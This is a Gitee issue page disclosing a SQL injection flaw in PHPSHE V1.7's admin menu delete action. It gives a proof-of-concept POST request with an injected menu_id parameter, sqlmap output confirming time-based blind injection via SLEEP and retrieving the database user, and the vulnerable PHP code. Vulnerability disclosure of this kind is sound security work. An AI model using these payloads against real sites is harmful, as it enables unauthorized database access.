



koysh / phpshe

<> Code

Issues 7

Pull Requests 0

Watch 17

Star 48

Fork 16

Issues / 详情

PHPSHE V1.7 is vulnerable to SQL injection.

Backlog #ITLK2 lemon Opened this issue 2019-03-15 09:00

PHPSHE V1.7 is vulnerable to SQL injection vulnerabilities. Attack parameter to the server.

Poc:

```
POST /phpshe/admin.php?mod=menu&act=del&token=1dc02be6d9710d51e
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/phpshe/admin.php?mod=menu
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Cookie: PHPSESSID=0a97c3f86f5b63a3e74ffcdf1c70b59c
Connection: close
Upgrade-Insecure-Requests: 1
```

```
menu_order%5B1%5D=1&menu_order%5B2%5D=2&menu_order%5B3%5D=3&menu_order%5B4%5D=4&menu_id%5B%5D=6'+and+IF(1=1,
```

vulnerability verification:

```
1. bash
[16:19:53] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 92 HTTP(s) requests:
----
Parameter: #1* ((custom) POST)
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: menu_order[1]=1&menu_order[2]=2&menu_order[3]=3&menu_order[4]=4&menu_id[]=6' AND SLEEP(5)
AND 'zyPN'='zyPN&menu_order[6]=6
----
[16:20:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.37, Apache 2.2.34
back-end DBMS: MySQL >= 5.0.12
[16:20:45] [INFO] fetching current user
[16:20:45] [INFO] retrieved:
[16:20:45] [WARNING] it is very important to not stress the network connection during usage of time-based
payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[16:21:37] [INFO] adjusting time delay to 1 second due to good response times
root@localhost
current user: 'root@localhost'
```

the lines of code where the vulnerability exist:

module/admin/menu.php

```
53 //##### 导航删除 #####
54 case 'del':
55     pe_token_match();
56     $menu_id = is_array($p_menu_id) ? $p_menu_id : intval($g_id);
57     if ($db->pe_delete('menu', array('menu_id'=>$menu_id))) {
58         cache_write('menu');
59         pe_success('删除成功!');
60     }
61     else {
62         pe_error('删除失败...');
63     }
64     break;
```

lemon created task 4 years ago

Sign in to comment



©OSCHINA. All rights reserved

Git Resources

Learning Git

Gitee Reward

Gitee Stars

OpenAPI

Help Center

About Us

Join us



777320883



git@oschina.cn





Nonprofit

Gitee Go



Gitee 已支持 CLA 协议签署

- 🔥 第一方功能集成，签署流程更高效
- 📄 内置可自定义的协议模板
- 👉 让开源贡献也能有据可依

[View Details](#)

